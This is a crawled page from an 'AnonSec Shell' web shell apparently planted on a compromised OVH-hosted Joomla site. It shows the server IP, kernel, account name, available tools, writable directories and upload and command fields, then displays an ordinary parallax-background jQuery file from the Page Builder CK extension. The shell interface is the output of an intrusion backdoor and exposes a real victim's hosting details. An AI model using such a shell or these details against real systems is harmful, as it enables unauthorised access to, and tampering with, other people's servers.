AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/components/com_pagebuilderck/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/components/com_pagebuilderck/assets/parallaxbackground.js
/**
 * @name		Parallax Background Widget for Page Builder CK
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

(function($) {
	var PBCK_ParallaxBackground = function(container, options) {
		var defaults = {
			speed: '50'			// speed factor
		};

		if (container == '#body') container = document.body;
		var opts = $.extend(defaults, options);
		var els = $(container);
		var $window = $(window);

		els.each(function() {
			var el = $(this);
			var bgimage = el.css('background-image');

			if (bgimage == 'none' && el.find('> .inner').length) {
				new PBCK_ParallaxBackground(el.find('> .inner'), opts);
				return;
			}
			if (el.attr('data-parallax')) opts.speed = el.attr('data-parallax');

			el.css({
				'background-position': 'center 0px',
				'background-size': 'cover',
				'background-attachment': 'fixed'
			});

			moveElement(el);
			$window.bind('scroll load', function() { moveElement(el); });
			$window.bind('resize', function() { moveElement(el); });
		});

		function moveElement(el) {
			var winY = $window.scrollTop();
			el.top = el.offset().top;
			el.height = el.outerHeight();

			// check if totally above or totally below viewport
			if (
				el.top + el.height < winY // bottom of element is over top of screen
				|| el.top > winY + $window.height() // top of element is under bottom of screen
				) {
				return;
			}

			var bgy = (- Math.round( ((winY - el.top ) ) )) - (winY * opts.speed / 100);

			// move the background image
			el.css('background-position', "center " + bgy/10 + "px");
		}
	};
	window.PBCK_ParallaxBackground = PBCK_ParallaxBackground;
})(jQuery);

// init the effect on rows that have the parallax attribute
jQuery(document).ready(function(){ 
	new PBCK_ParallaxBackground('.rowck[data-parallax]');
});

Anon7 - 2022
AnonSec Team